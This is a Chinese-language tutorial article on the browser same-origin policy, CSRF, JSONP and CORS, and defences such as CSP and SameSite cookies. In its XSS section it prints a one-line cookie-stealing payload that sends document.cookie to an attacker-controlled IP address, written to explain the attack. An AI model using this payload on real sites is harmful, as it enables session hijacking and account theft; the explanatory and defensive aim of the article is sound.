浏览器跨域访问(同源策略)
总结:
浏览器无同源限制,则有问题:CSRF
浏览器有同源限制,有时需要绕过限制,如何实现?反向代理、JSONP、CORS
JSONP的弊端:XSS
除了浏览器同源限制,后端确认前端请求是否合法的方式:origin字段、https、wss等
1 what
跨域
跨域是指从一个域名的网页去访问另一个域名的网页。一个完整URL地址通常由 协议+主机+端口+路径[+search][+hash] 组成,其中search和hash是可选项(search也称query,hash也称fragment)、协议未列出则默认为http、port未列出则默认为80(http)或443(https)值。因此严格来说,两个网页地址的协议(http/https)、主机、端口三者任何一个不同就可以认为是跨域访问,即使两个地址是不同子域名也是跨域,如app.baidu.com与baidu.com。
同源策略
浏览器出于安全考虑(防止CSRF)会限制跨域访问(即同源策略,Same Origin Policy,SOP)。在该限制下,除非两个网页是来自于同一‘源头’, 否则不允许一个网页的JavaScript访问另外一个网页的内容,像Cookie,DOM,LocalStorage均禁止访问;但对具有src属性的标签(如script、img、iframe等)不做跨域限制。
浏览器跨域访问资源的三种类型
跨域读操作(Cross-origin reads):一般是不被允许的,受同源策略限制。通常的http 接口请求属于此类型。
跨域写操作(Cross-origin writes):一般是被允许的。如重定向、表单提交(如form表单的提交)。
跨域资源嵌入(Cross-origin embedding):一般是允许的。包括:
a标签链接
<script src="..."></script>标签嵌入js脚本
<link rel="stylesheet" href="...">标签嵌入CSS
<img>展示的图片
<video>和<audio>媒体资源
<object>、 <embed> 、<applet>嵌入的插件
CSS中使用@font-face引入字体
通过<iframe>载入资源
总结:浏览器自己是可以发起跨域请求的(如a标签、img标签、form表单等),但Javascript不能去跨域获取资源(如ajax)。
2 why
浏览器出于安全考虑(即防止CSRF)会限制跨域读操作,若不加限制则 在一个站点上访问后 本地存储的cookie等信息在访问第二个站点时 就可能泄露了。(从这可见,跨域限制只是在通过浏览器访问时才存在,因此通过HTTP客户端等访问显然没有跨域限制问题)。
没有同源限制时的危害示例:
在浏览器上先登录股票网站www.stock.com,得到了cookie,以后再访问stock时浏览器会自动带上cookie;接着访问恶意网站www.beautify.com,假定该网站页面中包含一个恶意js脚本,其行为是去访问stock并把得到的信息发到beautify网站,由于访问stock时浏览器会自动带上cookie故恶意脚本可以成功窃取到数据。示意图如下:
上述过程就是跨站请求伪造(Cross-site request forgery,CSRF)的一种例子,所幸在有浏览器同源策略的限制下上述情况不会发生。
因此,浏览器同源策略的作用是预防跨站请求伪造,也就是用于确保在浏览器内对后端发起访问的前端是该后端信赖的前端。
后端约束
从上面可看出,为了确保请求者是后端信赖的前端,同源策略是从浏览器请求端来保证的。除了依靠浏览器限制外,也可从后端角度来校验——后端服务可根据所收到请求的origin字段来限制白名单(origin字段由浏览器自动加入HTTP header,用户无法通过编程方式如javascript修改;当然,通过中间人攻击还是可以修改的,此时可用HTTPS或wss防范)。
目前,对于新兴的WebSocket协议(2008年诞生,2011年成为国际标准,目前所有浏览器都已支持),浏览器未做同源限制。因此应用要注意防范CSRF攻击,可借助token或上述的origin等方式防范。
3 如何克服浏览器同源限制
浏览器的同源限制是种伤敌一千自损八百的做法,如对于一个大系统来说有很多域名是正常的,同源限制使得同一系统内的不同域名下的服务无法互相访问。
3.1 三种方式
要突破浏览器跨域访问的限制,目前本质上有三种方法:
3.1.1 反向代理
只需要让不同地址对浏览器来说是同源的即可。如可以通过反向代理把需要互相访问的地址放到反向代理后,这样对浏览器来说就是同源的了。参考:通过Nginx反向代理实现跨域访问-cnblogs
3.1.2 绕过同源限制(JSONP)
借助浏览器的跨域资源嵌入来实现跨域资源读取:浏览器对具有src属性的标签(如script、img、iframe等)不做跨域限制,利用这些标签+回到来绕过同源限制实现跨域。这就是所谓的JSONP(JSON with Padding),可以认为是一种取巧方式或非官方的协议。
原理:在页面append一个script标签,标签地址为被跨域访问站点地址,并在地址上加入自定义的回调函数名参数,如?callback=myCallbackFunction,这里的"callback"可以为其他,应事先商定好;被跨域站点的响应逻辑:若未检查到"callback"参数则直接返回data,否则将data作为回调函数名的参数一起返回,即 myCallbackFunction( data );浏览器script加载完后会执行myCallbackFunction函数,因此可以在myCallbackFunction里对请求返回的data进行处理。参考:跨域与跨域访问-csdn
注意区分JSON与JSONP的区别:前者是描述信息的一种格式,后者是信息传递双方约定的一种信息传递方法。
3.1.3 协议支持(CORS)
快速简介:参与这篇文章。
W3C标准中的跨域资源共享(Cross-Origin Resource Sharing,CORS)协议。是2014年正式推出的一个标准协议,可认为是浏览器对自身同源策略的妥协或补充,目前绝大多数浏览器都支持。
它允许浏览器向跨源服务器发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制(在实现上借助了 Access-Control-Allow-Origin 等header来与服务端协商)。在前后端分离的场景下两者独立部署,常借助此来实现前端跨域访问后端。
内部原理(详见:跨域资源共享-阮一峰):简单而言,在向目标服务器发起正式的数据请求前,浏览器先会向其发送 Preflight请求(预请求,为HTTP OPTIONS请求)来询问(或叫协商)其是否允许接下来的跨域请求。“询问”的过程是通过几个请求头和响应头来实现的:
1 浏览器在OPTIONS预请求里增加如下header:
Origin:跨域请求发起者所在的域名
Access-Control-Request-Method:将要发起的跨域数据请求方式(GET/PUT/POST/DELETE/······)
Access-Control-Request-Headers:将要发起的跨域请求中包含的请求头字段
2 目标服务器在响应字段中表明是否允许这个跨域数据请求,浏览器收到后检查如果不符合要求就拒绝后面的数据请求
Access-Control-Allow-Origin:允许哪些域来访问。* 表示允许所有域的请求,然而注意在这里通配符并非万金油,在某些情况(如Cookie跨域共享)下不能用通配符。
Access-Control-Allow-Methods:允许哪些请求方式
Access-Control-Allow-Headers:允许哪些请求头字段
Access-Control-Allow-Credentials:跨域请求时是否允许携带Cookie。
Access-Control-Max-Age:指定本次预检请求的有效期,单位为秒,在此期间对于同样的跨域数据请求,浏览器不用再发预请求询问。
当然,为了避免每次发起数据请求前都要询问,有两个优化措施:
a:一个是上面的Access-Control-Max-Age字段避免每次都要发预请求;
b:另一个是对于“简单请求”浏览器不用发预请求,而是直接在数据请求中带上Origin字段并在响应中检查Access-Control-Allow-Origin,如果不符合要求就报错。“简单请求”是指请求方法为HEAD、GET、POST之一且只包含如下请求头字段的请求(在如今前后端分离的场景下Content-Type通常为json,故几乎都是复杂请求而非简单请求):
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:(application/x-www-form-urlencoded、multipart/form-data、text/plain)
题外话:对于复杂请求,除了上述header字段外,后端还可通过 Access-Control-Expose-Headers 来控制将哪些响应头暴露给前端。不在该header值里的响应头将不会暴露给前端(其实返回了,只是浏览器让其对前端不可见而已,对JavaScript也不可见)。默认情况下有如下6个响应头会暴露给前端而无需特殊指定。详见 CORS规范 的内容。
Content-Type、Content-Language、Cache-Control、Expires、Last-Modified、Pragma
使用
Access-Control-Allow-Origin 的设置(可参阅 Access-Control-Allow-Origin多域名-BAT的乌托邦)
基本用法: Access-Control-Allow-Origin: null 、 Access-Control-Allow-Origin: <origin> 、 Access-Control-Allow-Origin: * 。
null 的作用:让data:和file:打开的页面也能够共享跨域资源(因为这种协议下有Origin头,但是值是null,比较特殊)
* 的作用:通配符,允许任意Origin的来源来访问资源。
<origin>:普通的值。需要注意的是浏览器对此值是进行精确的完全匹配,也就是说形如 http://*.baidu.com 里面包含的通配符是不认的,只是当成普通的字面值。
如何设置以允许多个Origin?
1 多个值以逗号分隔:行不通,每个值对应的Origin都无法访问到目标资源。
2 设置多个同名header只不过值不同:行不通,浏览器只要收到两个Access-Control-Allow-Origin响应头,不论值是什么(即使一模一样),都不会接受。
3 值的域名中使用url pattern表示多个Origin:行不通,浏览器拿Access-Control-Allow-Origin的值和Origin进行匹配的规则是完全匹配,通配符只认* 。
4 使用通配符 * :可行,但不安全。
5 最佳实践:对于请求者的Origin,服务端进行判断:若允许该跨域则将该Origin赋给Access-Control-Allow-Origin、否则赋为默认值或不返回该响应头。示例:
//java private Set<String> ALLOW_ORIGINS = new HashList<>(); @Override public void init() throws ServletException { ALLOW_ORIGINS.add("http://localhost:9090"); ALLOW_ORIGINS.add("http://foo.baidu.com:9090"); ALLOW_ORIGINS.add("http://bar.baidu.com:9090"); ALLOW_ORIGINS.add("http://static.yourbatman.cn:9090"); } private void setCrosHeader(String reqOrigin, HttpServletResponse resp) { if (reqOrigin == null) { return; } // 匹配算法:equals if (ALLOW_ORIGINS.contains(reqOrigin)) { resp.addHeader("Access-Control-Allow-Origin", reqOrigin); } } //nginx location / { // 枚举列出允许跨域的domian(可以使用NG支持的匹配方式) set $cors_origin ""; if ($http_origin ~* "^http://foo.baidu.com$") { set $cors_origin $http_origin; } if ($http_origin ~* "^http://bar.baidu.com$") { set $cors_origin $http_origin; } add_header Access-Control-Allow-Origin $cors_origin; }
跨域Cookie共享的设置(可参阅 实现Cookie跨域共享——BAT的乌托邦)——三要素:
服务端: Access-Control-Allow-Credentials: true 、 Access-Control-Allow-Origin:http://localhost:8080 ,前者为true时后者不能是通配符而是必须是准确的值。
请求者: withCredentials=true ,在发起的Ajax请求中设置该属性。
Spring Framework中的CORS配置与使用(可参阅 解决方案对决JSONP vs CORS——BAT的乌托邦)
Spring自4.2版本(2015-06)开始,就提供了对Cors的全面支持,大大简化应用级Cors问题的处理。其中面向开发者提供了两个用于优雅处理Cors问题的组件:
@CrossOrigin:借助此注解可以通过声明式方式,对类级别、甚至接口级别进行跨域的资源控制。
CorsFilter:Spring也提供了用于“全局处理”的过滤器,兼具了普适性和灵活性。
WebMvcConfigurer:这是一种配置方式,严格来讲不算一种解决方案而是一种落地方式而已。
从上可知,在使用CORS来访问数据的时候,客户端不需要更改任何数据访问逻辑,所有的一切工作都是在服务端及浏览器之间自动完成的。因此如果希望为一个系统集成CORS支持的时候,我们需要做的工作主要集中在服务端。
3.2 三种方法的区别
JSONP、CORS需要目标站点的配合(JSONP需要服务端代码拼装回调函数名、CORS需要服务端配置允许的origin的白名单),否则无法实现,第一种则不需要;
jQuery Ajax已封装支持了JSONP功能,但该功能和传统意义上的AJAX请求是不一样的,本质上是不同东西(更多可参考:jsonp原理),只是为了方便使用而封装在一起:
Ajax的核心是通过XmlHttpRequest请求获取非本页内容,而jsonp的核心则是动态添加<script>标签来调用服务器提供的js脚本;
传统的Ajax请求是受同源策略限制的因此有跨域问题,而JSONP请求不受跨域限制,故通过Ajax发起JSONP不受跨域限制。
JQuery Ajax设置datetype为jsonp的示例如下:
jQuery.ajax({ type: "get", async: false, url: "https://public-api.wordpress.com/rest/v1/sites/wtmpeachtest.wordpress.com/posts", dataType: "jsonp", jsonp: "callback",//传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback) jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动处理 success: function(json){ alert('success' + JSON.stringify(json)); }, error: function(){ alert('fail'); } });
CORS与JSONP的使用目的相同,都需要服务端和客户端同时支持,但比JSONP更强大。对比(可参阅 解决方案对决JSONP vs CORS——BAT的乌托邦):
JSONP优点:对老式浏览器(IE7等)支持得好、可以向不支持CORS的网站请求数据;书写简单不用进行繁琐的请求头响应头配置;缺点:JSONP只支持GET请求;无错误处理机制;安全性不高等。在实际应用场景中,此方案几乎已淘汰。
CORS优点:支持所有类型的HTTP请求;支持onerror监听错误事件进行处理;安全性更高等。
3.3 三种方法的典型应用
第一种方法的典型应用:在前后端分离的场景下,前后端都是我们自己的服务,只是部署在不同服务器站点上,所以通常通过在前后端服务前加个网关(如nginx、ingress)作为外界访问的入口 (即作为反向代理)来解决同源限制。此时用户访问的目标地址是nginx地址,页面请求的后端地址也是nginx的地址、由nginx将请求转发到相应的后台访问。
第二种方法的典型应用:见上文。
第三种方法的典型应用:很多场景下两个服务并不都是自己的,故法1行不通,此时可以通过法3解决。典型的场景:在OAuth场景下,我们的服务支持了OAuth协议,第三方应用可来对接我们的系统,在授权码或隐藏式授权机制下,我们的服务器会向我们的授权页面返回重定向到第三方应用页面的指令,此时浏览器会因同源限制导致重定向失败,这时就可用CORS:第三方应用服务器进行配置以允许来自我们的授权服务的跨域请求。
4 进阶
4.1 XSS
4.1.1 what
第一节中所述危害是以没有同源限制为前提的,现实是浏览器都做了严格的同源限制,故该情况不会发生。然而在有同源限制下,我们仍可利用法2实现一个盗取用户信息的恶意脚本:
1、脚本干的事为读取当前所在用户站点的cookie等信息,并发送到脚本制作者的站点。示例:
$("body").append("\<img src='http://192.168.59.129:10086?c=" + escape(document.cookie) + "'>")
2、发送涉及到跨域,由于是“自己人”,可以选择jsonp解决跨域。实际上,甚至不用jsonp也可,如上述例子直接把敏感信息放到url参数给到了恶意站点。
3、弄个恶意链接诱导用户点击(如把恶意链接插到邮件里发给别人),从而将恶意脚本加载到用户站点,由于浏览器加载完script后就好执行,故实现了窃取目的。
上述过程其实就是跨站脚本攻击(Cross-Site Scripting,XSS)的一种例子,通过XSS获取到认证信息后就自热而然地可以用认证信息进行CSRF了。
关于XSS,详情可参阅:https://mp.weixin.qq.com/s/sqOvQsz5YVR-RAzNmePD2A
4.1.2 CSRF、XSS的区别
前者获取别人的认证信息之后伪装别人去请求、后者攻击者通过JSONP等手段诱导受害者站点加载攻击者的恶意js代码从而获取到受害站点的认证信息,通常通过XSS获取到认证信息后进行CSRF。
4.1.3 XSS防御(XSS Auditor、CSP)
XSS有两种,针对不同类型XSS有不同的防治方案。
反射型XSS
what:某些标签同时出现在请求(通常是URL)中和响应的网页中,由于浏览器会渲染这些标签,所以这些标签如果干的事是去加载恶意脚本,则就发生了XSS。这里的标签包括script、iframe、img等;这里的请求可以是GET、POST等。示例:
防御:XSS Auditor。Chrome内核中加入了名为XSS Auditor的功能(其他浏览器也有类似的XSS Filter),只要发现“标签同时出现在请求中和响应的网页中”,则会拒绝去渲染或执行该标签。示例:
存储型XSS
what:恶意代码存在数据库里,访问网页的时候从数据库里读取出来后,直接填充到网页上,XSS Auditor无法防御这种类型的XSS。示例:
防御:CSP(Content Security Policy)。W3C组织定义的标准,很多浏览器都已经支持。该标准定义了名为 content-security-policy 的字段,服务器可以通过这个字段告诉浏览器哪些外部资源可以加载和执行。
字段可放在http response header中、也可放在页面的meta标签中;
字段的值指定了各种标签能从哪些链接加载资源,不在指定值内的则浏览器拒绝加载,包括:
- script-src:外部脚本 - style-src:样式表 - img-src:图像 - media-src:媒体文件(音频和视频) - font-src:字体文件 - object-src:插件(比如 Flash) - child-src:框架 - frame-ancestors:嵌入的外部资源 - connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等) - worker-src:worker脚本 - manifest-src:manifest 文件
此外还定义了report-uri 属性,在content-security-policy值中通过该属性指定报告的地址,如果浏览器发现页面内容违背了content-security-policy约束,除了拒绝加载资源外还可以通报给该地址。
示例:
http response header中返回该字段:
meta标签中返回该字段: <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
详情可参阅:https://cloud.tencent.com/developer/section/1189873
4.1.4 CSRF防御
(参阅:https://docs.spring.io/spring-security/site/docs/5.3.4.RELEASE/reference/html5/#csrf-protection)
两种方式:
Synchronizer Token Pattern:服务端生成一个随机标识给访问者,访问者后续访问服务端时带上该标识,服务端对比标识是否有效。
SameSite Attribute:服务端生成cookie时设置cookie的SameSite属性,这样对于非同源的站点浏览器访问时不会携带cookie。SameSite的值有Strict、Lax、None:
Strict
- 严格要求同一站点。when specified any request coming from the same-site will include the cookie. Otherwise, the cookie will not be included in the HTTP request.
Lax
- 同一站点或父站点,默认值。when specified cookies will be sent when coming from the same-site or when the request comes from top-level navigations and the method is idempotent. Otherwise, the cookie will not be included in the HTTP request.
None - 相当于不进行SameSite限制。
需要注意的是,SameSite是新增的一个属性(Chrome 51 开始,浏览器的 Cookie 新增加了一个 SameSite 属性,用来防止 CSRF 攻击和用户追踪),当前(20210910)挺多后端框架可能还未支持该属性。在该版本后的Chrome中,若在当前页面嵌入了个iframe页面,则默认会有Cookie无法共享导致当前页面的站点和iframe页面的站点的session不是同一个的问题,解决:iframe页面的response设置SameSite=None。可参阅:SpringBoot跨域如何设置SameSite
上述两种方法都要求目标接口是Idempotent(幂等)的。第一种当token泄露时仍可造成CSRF,而第二种则不会,所以后者更安全。
5 参考资料